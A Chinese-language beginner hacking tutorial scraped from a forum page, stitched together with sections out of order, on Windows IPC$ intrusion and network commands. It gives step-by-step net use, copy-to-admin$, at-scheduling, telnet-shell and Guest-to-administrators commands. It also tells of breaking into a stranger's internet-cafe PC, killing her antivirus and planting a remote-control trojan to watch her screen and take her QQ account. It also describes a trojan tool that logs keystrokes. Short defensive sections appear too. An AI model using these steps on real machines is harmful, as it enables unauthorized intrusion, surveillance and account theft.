端口屏蔽程序：这个工具同上面一个程序的功能是一样的，不过不同的是，这个工具是基于控制台模式，更加适合于高手。

bu Registry Edit

注册表修改程序：该程序可以让使用者手动修改系统注册表中的各项键值，从而改变系统的性能，同时软件中保存了网络上常见的具有破坏性程序的资料，可以迅速确定系统注册表中是否有可疑程序，并提供了清除和备份等功能。

## 详解 IPC 攻击及防御

### 一 前言

网上关于 ipc\$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄。

不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于第一次接触 ipc\$的菜鸟来说简单的罗列步骤并不能解答他们的许多迷惑。

### 二 什么是 ipc\$

IPC\$(Internet Process Connection)是共享 "命名管道"的资源 (大家都是这么说的),它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远管理计算机和查看计算机的共享资源时使用。

利用 IPC\$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码 (当然,对方机器必须开了 ipc\$共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表 (不过负责的管理员会禁止导出用户列表的)。

我们总在说 ipc\$漏洞 ipc\$漏洞,其实,ipc\$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘

(c\$,d\$,e\$.....)和系统目录 winnt或 windows(admin\$)。

所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者 (到底是什么用心?我也不知道,代词一个)会利用 IPC\$,访问共享资源,导出用户列表,使用一些字典工具,进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的。

解惑:

1) IPC连接是Windows NT及以上系统有的远程网络登陆功能,其功能相当于Unix中的 Telnet,由于 IPC\$功能需要用到Windows NT中的很多 DLL函数,所以不能在Windows 9.x中运行。

也就是说只有 nt/2000/xp才可以建立 ipc\$连接,98/me是不能建立 ipc\$连接的 (但有些朋友说在 98下能建立空的连接,不知道是真是假,不过现在都 2003年了,建议 98的同志换一下系统吧 98不爽的)

2)即使是空连接也不是 100%都能建立成功,如果对方关闭了 ipc\$共享,你仍然无法建立连接

3)并不是说建立了 ipc\$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表

### 三 建立 ipc\$连接在 hack攻击中的作用

就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息 (而这些信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有一定权限的用户身份登陆的话那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,就不用我在多说了吧, what u want,u can do!!

(基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是

2000server,还可以考虑开启终端服务方便控制,怎么样,够厉害吧!)

不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些傻傻的管理员用空口令或者弱智密码,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码会越来越难的:(

因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,你会慢慢的发现 ipc\$连接并不是万能的,甚至在主机不开启 ipc\$共享时,你根本就无法连接。

所以我认为,你不要把 ipc\$入侵当作终极武器,不要认为它战无不胜,它就像是足球场上射门

前的传球,很少会有致命一击的效果,但却是不可缺少的,我觉得这才是 ipc\$连接在 hack入侵中的意义所在。

## 第二章：工具详解

### 黑客必学的六条系统命令

#### 一、ping命令

在Windows的控制窗口中 (Windows 95/98/ME的 command解释器、Windows NT/2000的 cmd解释器), 运行ping可以看到这个命令的说明, 它是一个探测本地电脑和远程电脑之间信息传送速度的命令, 这个命令需要 TCP/IP协议的支持, ping将会计算一条信息从本地发送到远程再返回所需要的时间, 黑客使用这个命令决定是否对服务器进行攻击, 因为连接速度过慢会浪费时间、花费过多的上网费用。

另外这个命令还可以透过域名找到对方服务器的 IP地址, 我们知道域名只是提供给浏览网页用的, 当我们看到一个不错的域名地址后, 要想通过 telnet连接它, 就必须知道对方的 IP地址, 这里也要使用ping命令的。

这个命令的基本使用格式可以通过直接运行ping获得, 现在假设目标是

<http://www.abc.com>, 则可以在控制台下输入ping [www.abc.com](http://www.abc.com), 经过等待会得到如下信息:

```
Pinging www.abc.com [204.202.136.32] with 32 bytes of data:
```

```
Reply from 204.202.136.32: bytes=32 time=302ms TTL=240
```

```
Reply from 204.202.136.32: bytes=32 time=357ms TTL=240
```

```
Reply from 204.202.136.32: bytes=32 time=288ms TTL=240
```

```
Reply from 204.202.136.32: bytes=32 time=274ms TTL=240
```

```
Ping statistics for 204.202.136.32:
```

```
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
```

```
Approximate round trip times in milli-seconds:
```

```
Minimum = 274ms, Maximum = 357ms, Average = 305ms
```

这些信息的意思是: [www.abc.com](http://www.abc.com)的 IP地址是 204.202.136.32, 对他发送了四次数据包, 数据包的大小是 32字节, 每一次返回的时间分别是 302ms 357ms 288ms 274ms, 综合看, 发送了四个数据包全部返回, 最小时间是 274ms, 最大时间 357ms, 他们的平均时间是 305ms。

这样黑客就了解了连接对方服务器使用的时间。另外这个命令还有一些特殊的用法, 例如可以通过 IP地址反查服务器的NetBIOS名, 现在以 211.100.8.87为例, 使用ping配合“-a”, 在控制台下输入命令ping -a 211.100.8.87, 它的返回结果是:

```
Pinging POPNET-FBZ9JDFV [211.100.8.87] with 32 bytes of data:
```

```
Reply from 211.100.8.87: bytes=32 time=96ms TTL=120
```

```
Reply from 211.100.8.87: bytes=32 time=110ms TTL=120
```

```
Reply from 211.100.8.87: bytes=32 time=110ms TTL=120
```

```
Reply from 211.100.8.87: bytes=32 time=109ms TTL=120
```

```
Ping statistics for 211.100.8.87:
```

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

Approximate round trip times in milli-seconds:

Minimum = 96ms, Maximum = 110ms, Average = 106ms

从这个结果会知道服务器的NetBIOS名称是POPNET-FBZ9JDFV。另外在一般情况下还可以通过 ping对方让对方返回给你的 TTL值大小，粗略的判断目标主机的系统类型是Windows系列还是UNIX/Linux系列，一般情况下Windows系列的系统返回的 TTL值在 100-130之间，而UNIX/Linux系列的系统返回的 TTL值在 240-255之间，例如上面的 [www.abc.com](http://www.abc.com)返回的 TTL是 240, 对方的系统很可能是Linux, 而第二个目标的 TTL是 120, 那么说明它使用的系统也许是Windows。

另外 ping还有很多灵活的应用，我不在这里过多的介绍，读者请另行查阅此命令相关帮助文件。

## 二、net命令：

NET命令是很多网络命令的集合，在Windows ME/NT/2000内，很多网络功能都是以 net命令为开始的，通过 net help可以看到这些命令的详细介绍：

NET CONFIG 显示系统网络设置

NET DIAG 运行NET的DIAGNOSTICS程序显示网络的DIAGNOSTIC信息

NET HELP 显示帮助信息

NET INIT 不通过绑定来加载协议或网卡驱动

NET LOGOFF 断开连接的共享资源

NET LOGON 在WORKGROUP中登陆

NET PASSWORD 改变系统登陆密码

NET PRINT 显示或控制打印作业及打印队列

NET START 启动服务，或显示已启动服务的列表

NET STOP 停止网络服务

NET TIME 使计算机的时钟与另一台计算机或域的时间同步

NET USE 连接计算机或断开计算机与共享资源的连接，或显示计算机的连接信息

NET VER 显示局域网内正在使用的网络连接类型和信息

NET VIEW显示域列表、计算机列表或指定计算机的共享资源列表

这些命令在Win95/98中支持的比较少，只有几个基本常见的，而在NT或者2000中又元元多了。上面的介绍，不过大多数对于初学者也没有必要掌握，所以我选择了WindowsME进行介绍，其中最常用到的是NET VIEW和NET USE，通过这两个命令，学习者可以连接网络上开放了远程共享的系统，并且获得资料。这种远程共享本来是为便捷操作设计的，但是很多网络管理员忽视了它的安全性，所以造成了很多不应该共享的信息的暴露，对于学习者来说，则可以轻易获得它人电脑上的隐私资料。

例如在控制台下输入 net view \\202.96.50.24 则可以获得对应 IP 的系统共享目录，进而找到他们的共享文件，当然这需要 202.96.50.24 系统的确存在共享目录，具体如何找到这些不在共享的系统，我将会在后面的文章中进行介绍。

## 三、telnet和ftp命令：

这两个命令分别可以远程对系统进行 telnet 登陆和 ftp 登陆，两种登陆使用的不同的协议，分别属于两种不同的网络服务，ftp 是远程文件共享服务，也就是说学习者可以将自己的资料上传、下载，但是它并没有过多的权利，无法在远程电脑上执行上传的文件；而 telnet

属于远程登陆服务，也就是说可以登陆到远程系统上，并获得一个解释器权限，拥有解释器就意味着拥有了一定的权限，这种权限可能是基本的文件操作、也可能是可以控制系统的管理员权限。

#### 四、netstat命令：

这个程序有助于我们了解网络的整体使用情况。它可以显示当前正在活动的网络连接的详细信息，如采用的协议类型、当前主机与远端相连主机（一个或多个）的 IP地址以及它们之间的连接状态等。使用 netstat 可以显示它的命令格式和参数说明：

netstat [-a] [-e] [-n] [-s] [-p proto] [-r] [interval] 其中的参数说明如下：

-a 显示所有主机的端口号；

-e 显示以太网统计信息；

-n 以数字表格形式显示地址和端口；

-p proto 显示特定的协议的具体使用信息；

-r 显示本机路由表的内容；

-s 显示每个协议的使用状态（包括 TCP UDP IP）；

interval 重新显示所选的状态，每次显示之间的间隔数（单位秒）。

netstat命令的主要用途是检测本地系统开放的端口，这样做可以了解自己的系统开放了什么服务、还可以初步推断系统是否存在木马，因为常见的网络服务开放的默认端口轻易不会被木马占用，例如：用于 FTP（文件传输协议）的端口是 21；用于 TELNET（远程登录协议）的端口是 23；用于 SMTP（邮件传输协议）的端口是 25；用于 DNS（域名服务，即域名与 IP 之间的转换）的端口是 53；用于 HTTP（超文本传输协议）的端口是 80；用于 POP3（电子邮件的一种接收协议）的端口是 110；WINDOWS 中开放的端口是 139，除此以外，如果系统中还有其他陌生的端口，就可能是木马程序使用的了。通过 netstat 或者 netstat -a 可以观察开放的端口，如果发现下面的端口，就说明已经有木马程序在系统中存在：

3133 号端口是 BackOffice 木马的默认端口；1999 是 Yai 木马程序；2140 或者 3150 都是 DEEP THROAT 木马使用的端口；还有 NETBUS 冰河或者 SUB 等木马程序都可以自定义端口，因此发现了陌生端口一定要提高警惕，使用防火墙或者查病毒软件进行检测。

#### 五、tracert命令：

这个命令的功能是判定数据包到达目的主机所经过的路径、显示数据包经过的中继节点清单和到达时间。tracert 命令的格式如下：

tracert [-d] [-h maximum\_hops] [-j host-list] [-w timeout] target\_name

命令行中的参数 -d 是要求 tracert 不对主机名进行解析，-h 是指定搜索到目的地址的最大轮数，-j 的功能是沿着主机列表释放源路由，-w 用来设置超时时间间隔。

通过 tracert 可以判断一个服务器是属于国内还是国际（网络服务器的物理未知不能依靠域名进行判断），根据路由路径可以判断信息从自己的系统发送到网络上，先后经过了哪些 IP 到达对方服务器，这就好像乘公共汽车的时候从起点出发到达终点站的时候，中途会出现很多路牌一个道理，我们清楚了自己的信息的传送路径，才能够更清晰的了解网络、对服务器进行攻击。

#### 六、winipcfg:

winipcfg 和 ipconfig 都是用来显示主机内 IP 协议的配置信息。只是 winipcfg 适用于 Windows 95/98，而 ipconfig 适用于 Windows NT。winipcfg 不使用参数，直接运行它，它就会采用 Windows 窗口的形式显示具体信息。这些信息包括：网络适配器的物理地址、主机

的 IP地址、子网掩码以及默认网关等，点击其中的“其他信息”，还可以查看主机的相关信息如：主机名、DNS服务器、节点类型等。其中网络适配器的物理地址在检测网络错误时非常有用。

ipconfig的命令格式如下：ipconfig [/? | /all | /release [adapter] | /renew [adapter]]

其中的参数说明如下：

使用不带参数的 ipconfig命令可以得到以下信息：IP地址、子网掩码、默认网关。而使用 ipconfig

/? 显示 ipconfig的格式和参数的英文说明；

/all 显示所有的配置信息；

/release 为指定的适配器（或全部适配器）释放 IP地址（只适用于 DHCP）；

/renew 为指定的适配器（或全部适配器）更新 IP地址（只适用于 DHCP）。

/all, 则可以得到更多的信息：主机名、DNS服务器、节点类型、网络适配器的物理地址、主机的 IP地址、子网掩码以及默认网关等。

## 九 经典入侵模式

这个入侵模式太经典了,大部分 ip教程都有介绍,我也就拿过来引用了,在此感谢原创作者 (不知道是哪位前辈)

1. C:\>net use \\127.0.0.1\IPC\$ "" /user:"admintitrators"

这是用《流光》扫到的用户名是 administrators, 密码为 "空" 的 IP地址 (空口令 哇 运气好到家了), 如果是打算攻击的话, 就可以用这样的命令来与 127.0.0.1 建立一个连接, 因为密码为 "空", 所以第一个引号处就不用输入, 后面一个双引号里的是用户名, 输入 administrators, 命令即可成功完成。

2. C:\>copy srv.exe \\127.0.0.1\admin\$

先复制 srv.exe 上去, 在流光的 Tools 目录下就有 (这里的 \$ 是指 admin 用户的 c:\winnt\system32\, 大家还可以使用 c\$ d\$, 意思是 C 盘与 D 盘, 这看你要复制到什么地方去了)。

3. C:\>net time \\127.0.0.1

查查时间, 发现 127.0.0.1 的当前时间是 2002/3/19 上午 11:00, 命令成功完成。

4. C:\>at \\127.0.0.1 11:05 srv.exe

用 at 命令启动 srv.exe 吧 (这里设置的时间要比主机时间快, 不然你怎么启动啊, 呵呵!)

5. C:\>net time \\127.0.0.1

再查查到时间没有? 如果 127.0.0.1 的当前时间是 2002/3/19 上午 11:05, 那就准备开始下面的命令。

6. C:\>telnet 127.0.0.1 99

这里会用到 Telnet 命令吧, 注意端口是 99 Telnet 默认的是 23 端口, 但是我们使用的是 SR 在对方计算机中为我们建立一个 99 端口的 Shell。



## 黑客入门 (超级详细版)

虽然我们可以 Telnet 上去了，但是 SRV 是一次性的，下次登录还要再激活！所以我们打算建立一个 Telnet 服务！这就要用到 ntlm 了

7. C:\>copy ntlm.exe \\127.0.0.1\admin\$

用 Copy 命令把 ntlm.exe 上传到主机上（ntlm.exe 也是在《流光》的 Tools 目录中）。

8. C:\WINNT\system32>ntlm

输入 ntlm 启动（这里的 C:\WINNT\system32 指的是对方计算机，运行 ntlm 其实是让这个程序在对方计算机上运行）。当出现 "DONE" 的时候，就说明已经启动正常。然后使用 "net start telnet" 来开启 Telnet 服务！

9. Telnet 127.0.0.1, 接着输入用户名与密码就进入对方了，操作就像在 DOS 上操作一样简单！（然后你想做什么？想做什么就做什么吧，哈哈）

为了以防万一，我们再把 guest 激活加到管理组

10. C:\>net user guest /active:yes

将对方的 Guest 用户激活

11. C:\>net user guest 1234

将 Guest 的密码改为 1234，或者你要设定的密码

12. C:\>net localgroup administrators guest /add

将 Guest 变为 Administrator^\_^（如果管理员密码更改，guest 帐号没改变的话，下次我们可以用 guest 再次访问这台计算机）

十 总结：

关于 ipc 入侵就说这么多了，觉得已经够详细了，如果有不准确的地方，希望能与大家讨论。

[无图版](#) [平板模式](#) [风格切换](#) [帮助](#) [Home](#) [首页](#) [论坛首页](#)

[登录](#) [注册](#) [讨论区](#) [推荐](#) [搜索](#) [社区服务](#) [邀请注册](#) [积分兑换](#) [每日签到](#) [娱乐场](#)

用户名 UID

## 黑客入门 (超级详细版)

安全问题无安全问题 我爸爸的出生地 我妈妈的出生地 我的小学校名 我的中学校名 我最喜欢的运动 我最喜欢的歌曲 我最喜欢的电影 我最喜欢的颜色 自定义问题

您的答案

热门版块： QQ部落 新人交流区 软件分享 黑客技术版 交易版 休闲娱乐 &情感文学

银行 朋友圈 勋章中心 道具中心 newyear wind 用户中心首页 编辑个人资料 查看个人资料 好友列表 用户权限查看 积分管理 积分转换 特殊组购买 收藏夹 我的主题 基本统计信息 到访 IP统计 管理团队 管理统计 在线统计 会员排行 版块排行 帖子排行 个人首页

我的收藏

好友近况

## 七 如何防范 ipc\$入侵

禁止空连接进行枚举 (此操作并不能阻止空连接的建立 ,引自《解剖 win2000下的空会话》

首先运行 regedit , 找到如下组建

[HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把

RestrictAnonymous = ~~DWORD~~ 的键值改为 : 00000001 (如果设置为 2 的话 , 有一些问题会发生 比如一些 WIN 的服务出现问题等等 )

2 禁止默认共享

1) 察看本地共享资源

运行 -cmd 输入 net share

2) 删除共享 (每次输入一个 )

net share ipc\$ /delete

net share admin\$ /delete

net share c\$ /delete

net share d\$ /delete ( 如果有 e, f, ..... 可以继续删除 )

3) 停止 server 服务

net stop server /y ( 重新启动后 server 服务会重新开启 )

4) 修改注册表

运行 -regedit

server 版 找到如下主键

[HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters] 把 AutoShareServer ( DWORD ) 的键值改为 : 00000000

pro 版 找到如下主键

[HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters] 把 AutoShareWks ( DWORD ) 的键值改为 : 00000000

如果上面所说的主键不存在 , 就新建 ( 右击 -新建 -双字节值 ) 一个主键再改键值。

永久关闭 ipc\$ 和默认共享依赖的服务 : lanmanserver 即 server 服务

## 黑客入门 (超级详细版)

控制面板 - 管理工具 - 服务 找到 server 服务 ( 右击 ) - 属性 - 常规 - 启动类型 - 已禁用  
4 安装防火墙 ( 选中相关设置 ), 或者端口过滤 ( 滤掉 139, 445 等 ), 或者用新版本的优化大师  
5 设置复杂密码, 防止通过 ipc\$ 穷举密码

( 本教程不定期更新, 欲获得最新版本, 请登陆官方网站: 菜鸟社区原创

<http://ccbirds.yeah.net> )

### 八 相关命令

1) 建立空连接:

net use \\IP\ipc\$ "" /user: "" ( 一定要注意 这一行命令中包含了 3 个空格 )

2) 建立非空连接:

net use \\IP\ipc\$ "用户名" /user: "密码" ( 同样有 3 个空格 )

3) 映射默认共享:

net use z: \\IP\c\$ "密码" /user: "用户名" ( 即可将对方的 c 盘映射为自己的 z 盘, 其他盘类推 )

如果已经和目标建立了 ipc\$, 则可以直接用 IP+盘符 +\$ 访问, 具体命令 net use z:

\\IP\c\$

4) 删除一个 ipc\$ 连接

net use \\IP\ipc\$ /del

5) 删除共享映射

net use c: /del 删除映射的 c 盘, 其他盘类推

net use \* /del 删除全部, 会有提示要求按 y 确认

## 四 ipc\$ 与空连接, 139, 445 端口, 默认共享的关系

以上四者的关系可能是菜鸟很困惑的一个问题, 不过大部分文章都没有进行特别的说明, 其实我理解的也不是很透彻, 都是在与大家交流中总结出来的. ( 一个有良好讨论氛围的 BBS 可以让菜鸟的天堂 )

1) ipc\$ 与空连接:

不需要用户名与密码的 ipc\$ 连接即为空连接, 一旦你以某个用户或管理员的身份登陆 ( 即以特定的用户名和密码进行 ipc\$ 连接 ), 自然就不能叫做空连接了。

许多人可能要问了, 既然可以空连接, 那我以后就空连接好了, 为什么还要费九牛二虎之力去扫描弱口令, 呵呵, 原因前面提到过, 当你以空连接登陆时, 你没有任何权限 ( 很郁闷吧 ), 而你以用户或管理员的身份登陆时, 你就会有相应的权限 ( 有权限谁不想呀, 所以还是老老实实扫描吧, 不要偷懒哟 )。

2) ipc\$ 与 139, 445 端口:

ipc\$ 连接可以实现远程登陆及对默认共享的访问, 而 139 端口的开启表示 netbios 协议的应用, 我们可以通过 139, 445 ( win2000 ) 端口实现对共享文件 / 打印机的访问, 因此一般来讲, ipc\$ 连

## 黑客入门 (超级详细版)

接是需要 139或 445端口来支持的。

### 3) ipc\$与默认共享

默认共享是为了方便管理员远程管理而默认开启的共享 (你当然可以关闭它),即所有的逻辑盘 (c\$,d\$,e\$.....)和系统目录 winnt或 windows(admin\$),我们通过 ipc\$连接可以实现对这些默认共享的访问 (前提是对方没有关闭这些默认共享)

### 五 ipc\$连接失败的原因

以下 5个原因是比较常见的：

- 1)你的系统不是 NT或以上操作系统；
- 2)对方没有打开 ipc\$默认共享
- 3)对方未开启 139或 445端口 (或被防火墙屏蔽)
- 4)你的命令输入有误 (比如缺少了空格等)
- 5)用户名或密码错误 (空连接当然无所谓了)

另外,你也可以根据返回的错误号分析原因：

错误号 5, 拒绝访问：很可能你使用的用户不是管理员权限的,先提升权限；

错误号 51, Windows 无法找到网络路径：网络有问题；

错误号 53, 找不到网络路径：ip地址错误；目标未开机；目标 lsmanserver服务未启动；目标有防火墙 (端口过滤)；

错误号 67, 找不到网络名：你的 lsmanserver服务未启动；目标删除了 ipc\$；

错误号 1219, 提供的凭据与已存在的凭据集：你已经和对方建立了一个 ipc\$,请删除再试。

错误号 1326, 未知的用户名或错误密码：原因很明显了；

错误号 1792, 试图登录,但是网络登录服务没有启动：目标 NetLogon服务未启动。(连接域控会出现此情况)

错误号 2242, 此用户的密码已经过期：目标有帐号策略,强制定期要求更改密码。

关于 ipc\$连不上的问题比较复杂,除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就\*大家自己体会和试验了。

### 六 如何打开目标的 IPC\$(此段引自相关文章)

首先你需要获得一个不依赖于 ipc\$的 shell,比如 sql的 cmd扩展、telnet、木马,当然,这 shell必须是 admin权限的,然后你可以使用 shell 执行命令 net share ipc\$ 来开放目标的 ipc\$。从上面可以知道,ipc\$能否使用还有很多条件。请确认相关服务都已运行,没有就启动它 (不知道怎么做的请看 net命令的用法),还是不行的话 (比如有防火墙,杀不了)建议放弃。

## 秘籍：网吧入侵全攻略

好久都没来网吧了,今天一朋友来找我,外面有下着雪,实在没地方玩,又给溜进了网吧...

在以前家里没买电脑时,整天都泡这网吧,所以对他的系统设置什么还了解点,都大半年没

## 黑客入门 (超级详细版)

了...不知道有啥变化...

这网吧还不错.别的网吧都是无盘的或者就是 98的.这里 98和 2000都有.呵...搞入侵可方便了....

无意的看到 13号坐着两MM...嘻...入侵也由此开始了.看能不能拿到MM的QQ号....偶也找了一 2000系统的机器做下..(偶找了一角落.呵.这样比较安全点..)

打开偶可爱的CMD.先 net name下看看本机情况

```
WANGLU05
```

```
USER2000
```

命令成功完成。

我本机名是WANGLU05.ping下看看 IP有无什么规则

```
Pinging wanglu05 [192.168.0.13] with 32 bytes of data:
```

```
Reply from 192.168.0.13: bytes=32 time<10ms TTL=64
```

```
Reply from 192.168.0.13: bytes=32 time<10ms TTL=64
```

```
Reply from 192.168.0.13: bytes=32 time<10ms TTL=64
```

```
Reply from 192.168.0.13: bytes=32 time<10ms TTL=64
```

IP是改了.记的以前是有一种规则的.比如我 5号把.内网 IP就是 192.168.0.5.

这次MM在 13号..IP就不能猜了...不过网吧机器名可是一样...有路了.

```
Pinging WANGLU13 [192.168.0.225] with 32 bytes of data:
```

```
Reply from 192.168.0.225: bytes=32 time<10ms TTL=128
```

```
Reply from 192.168.0.225: bytes=32 time<10ms TTL=128
```

```
Reply from 192.168.0.225: bytes=32 time<10ms TTL=128
```

得到内网 IP是 192.168.0.225...偶记的以前是存在默认共享的.这次换了网管不知道他有没做防范措施...从这入手....

```
net use //192.168.0.225/IPC$ "" /user:"" 空连接成功.说明 ipc$默认共享还在...
```

只是没权限...网吧的登陆用户全是一样的.而且密码为空.又让我给钻了空子.

```
G: />net use //192.168.0.225/IPC$ "" /user:"user04"
```

命令成功完成。

如图 1.

网吧系统盘为 C盘.接着映射对方 C盘为我本地 Z盘.

```
G: />net use z: //192.168.0.225/g$
```

命令成功完成。

如图 2.

现在我的电脑里多了一个 Z盘...图 3.

现在我们在这个 Z盘里新建或删除文件.也就等于在 192.168.0.225这个机器上操作了...

## 黑客入门 (超级详细版)

这些相信大家都知道的吧 . 我就不废话了 . 当然这些还不是我们想要的 . . . 要进一步控制她然后拿到QQ号 . ^\_^ . . . . . 表说我坏 . . . .

下面来 copy 一个木马客户端上去先 . . . 由于只是看QQ而已 . . 所以我找了一个

web控制台 . 体积没多大 , 205KB . 下面是关于 webserver 的介绍 . / . . /

web控制台 ( 本站不提供此类工具下载 )

一个直接在 IE 栏里输入对方 IP 就可以控制对方机器的小软件 , 也就是所谓的 B/S 模式的控制 . 用起来很方便 , 对方运行了服务端后 , 你在 IE 栏里直接输入对方 IP 就可以控制了 , 也可以通过刷新来实现重复抓屏 .

接着

```
G: />copy webserver.exe //192.168.0.225/admin$
```

已复制 1 个文件 .

```
G: />net time //192.168.0.225
```

//192.168.0.225 的当前时间是 2005/2/5 下午 05:00

命令成功完成 .

图 4 .

```
G: />at //192.168.0.225 17:02 webserver.exe
```

用 AT 命令启动 webserver.exe .

2 分钟过后 . 在 IE 里输入 192.168.0.225 就可以控制对方了 . . . 可是偶一会用 net time 查看时都已经过了 3 分钟了 . 还是打不开 . . . 后来又重新来了一次 . 眼睛就盯着 MM 的屏幕看 , 才发现到了我指定的时间 . 程序执行时 . 被瑞星给杀了 . . .

FT . . . 我说那 .

难道就没办法了吗 . . . 当然不是 . . . 可以换个别的马或加壳 . 修改它特征码什么的 . 但在网吧工具也不是很齐全 . 我也懒的下 . .

还好微软为我们提供了一个非常不错的系统工具 . . . 也算的上是一类控制软件了 . . .

打开控制面板 - 管理工具 - 计算机管理

操作 - 连接到另一计算机 .

然后输入 IP 192.168.0.225

图 5 .

呵 . 等一会就可以看到成功了 . . 你看到了什么 ?

更爽的是我们可以远程开启他的服务 . . 在这里启动他的 telnet 服务 .

图 6 .

OK . . .

本地打开一 cmd

输入

```
G: />telnet 192.168.0.225
```

回车后出现

Server allows NTLM authentication only

## 黑客入门 (超级详细版)

Server has closed connection

图 7

需要NTLM认证的...用小榕的那个ntlm.exe就可以解决这一问题.

ntlm.exe在《流光》的Tools目录中有的...

没工具怎么办呢...

我们在本地添加一和远程主机同样的用户名

输入

net user user04 /add 添加 user04 密码为空的用户

net localgroup administrators user04 /add 把 user04 加入管理员组

然后来到 G:\Winnt\system32 下找到 CMD.exe

右击 .创建快捷方式 然后在快捷方式 CMD 右击 .属性 .

在以其他用户身份运行前打勾...

图 8

然后运行

快捷方式 CMD

弹出窗口 .在用户名处输入 user04 密码为空

图 9

然后

telnet 192.168.0.225

回车 .哈哈...拿到 shell 了....

接下来的事就好办了...去黑基 down 了一个 knlps 命令行下杀进程的东东

copy 上去 ./ 然后 telnet 上去 在 CMD 下执行...杀掉了瑞星的进程

这下把瑞星给关了 还怕他提示有毒

接着执行 webserver.exe

在 IE 里输入

192.168.0.225

图 10..

看到了 挖卡卡 .开心...点那个查看屏幕 .呵...MM 正在聊天...

好了她的 QQ 号码也拿到手了 .加了她去聊聊去....

小编有话说：关于木马种植策略和防护手段

文：残

了解如何种植木马才能防止别人种植木马。看看一般人用的手段。（本文比较适合入门级别选手）

### 1. 网吧种植

这个似乎在以前很流行，先关闭网吧的防火墙，再安装木马客户端，立刻结帐下机，注意，重点是不要重起机器，因为现在网吧都有还原精灵，所以在不关机器的情况下，木马是不会给发现的。因此，在网吧上网，首先要重起机器，其次看看杀毒软件有没有打开。最后建议，不要在网吧打开有重要密码的东西，如网络银行等。毕竟现在木马客户端躲避防火墙的能力很强，其次是还存在其他的病毒。

### 2. 通讯软件传送

发一条消息给你，说，“这个我的照片哦，快看看。”当你接受并打开的时候，你已经中了木马了。（此时，你打开的文件好象“没有任何反应”）“她”可能接着说说：“呀，发错了。再见。”防御：不要轻易接受别人传的东西，其次是打开前要用杀毒软件查毒。

### 3. 恐怖的捆绑

捆绑软件现在很多，具体使用就是把木马客户端和一个其他文件捆绑在一起（拿JPG图象为例），你看到的文件可能是.jpg，图标也是正常（第2条直接传的木马客户端是个windows无法识别文件的图标，比较好认），特别是现在有些捆绑软件对捆绑过后的软件进行优化，杀毒软件很难识别其中是否包含木马程序。建议：不要打开陌生人传递的文件。特别是图象文件。（诱惑力大哦）

### 4. 高深的编译

对木马客程序进行编译。让木马更加难以识别。（其实效果同第三条）

### 5. 微妙的网页嵌入

将木马安装在自己的主页里面，当你打开页面就自动下载运行。（见下篇，打造网页木马）“你中奖了，请去[www.\\*\\*.com](http://www.**.com)领取你的奖品”，黑客可能这么和你说。建议：陌生人提供的网页不要打开，不要去很奇怪名字的网站。及时升级杀毒软件。

总结：及时升级杀毒软件。不要打开未知文件以及陌生人传来的文件。不要随便打开陌生网页。升级最新版本的操作系统。还有...请看本专题以后的文章咯。

## 五. 文件管理器操作说明：

文件管理器对文件操作提供了下列鼠标操作功能：

1. 文件上传：右键单击欲上传的文件，选择‘复制’，在目的目录中粘贴即可。也可以在目的目录中选择‘文件上传自’，并选定欲上传的文件；
2. 文件下载：右键单击欲下载的文件，选择‘复制’，在目的目录中粘贴即可。也可以在选定欲下载的文件后选择‘文件下载至’，并选定目的目录及文件名；
3. 打开远程或本地文件：选定欲打开的文件，在弹出菜单中选择‘远程打开’或‘本地打开’对于可执行文件若选择了‘远程打开’，可以进一步设置文件的运行方式和运行参数（运行参数可为空）；
4. 删除文件或目录：选定欲删除的文件或目录，在弹出菜单中选择‘删除’；
5. 新建目录：在弹出菜单中选择‘新建文件夹’并输入目录名即可；
6. 文件查找：选定查找路径，在弹出菜单中选择‘文件查找’，并输入文件名即可（支持通配符）；
7. 拷贝整个目录（只限于被监控端本机）：选定源目录并复制，选定目的目录并粘贴即可。



#### 六.命令控制台主要命令：

1. 口令类命令：系统信息及口令、历史口令、击键记录；
2. 控制类命令：捕获屏幕、发送信息、进程管理、窗口管理、鼠标控制、系统控制、其它控制 (如 '锁定注册表' 等)；
3. 网络类命令：创建共享、删除共享、查看网络信息；
4. 文件类命令：目录增删、文本浏览、文件查找、压缩、复制、移动、上传、下载、删除、打开 (对于可执行文件则相当于创建进程)；
5. 注册表读写：注册表键值读写、重命名、主键浏览、读写、重命名；
6. 设置类命令：更换墙纸、更改计算机名、读取服务器端配置、在线修改服务器配置。

#### 七.使用技巧：

1. 用 '查看屏幕' 命令抓取对方屏幕信息后,若希望程序自动跟踪对方的屏幕变化,在右键弹出菜单中选中 '自动跟踪' 项即可；
2. 在文件操作过程中,鼠标双击本地文件将在本地打开该文件；鼠标双击远程文件将先下载该文件至临时目录,然后在本地打开；
3. 在使用 '网络共享创建' 命令时,如果不希望其他人看到新创建的共享名,可以在共享名后加上 '\$' 符号。自己欲浏览时只要在 I 的地址栏或 '开始菜单' 的 '运行' 对话框内键入 '\\[机器名]\[共享名(含 '\$' 符号)] 即可；
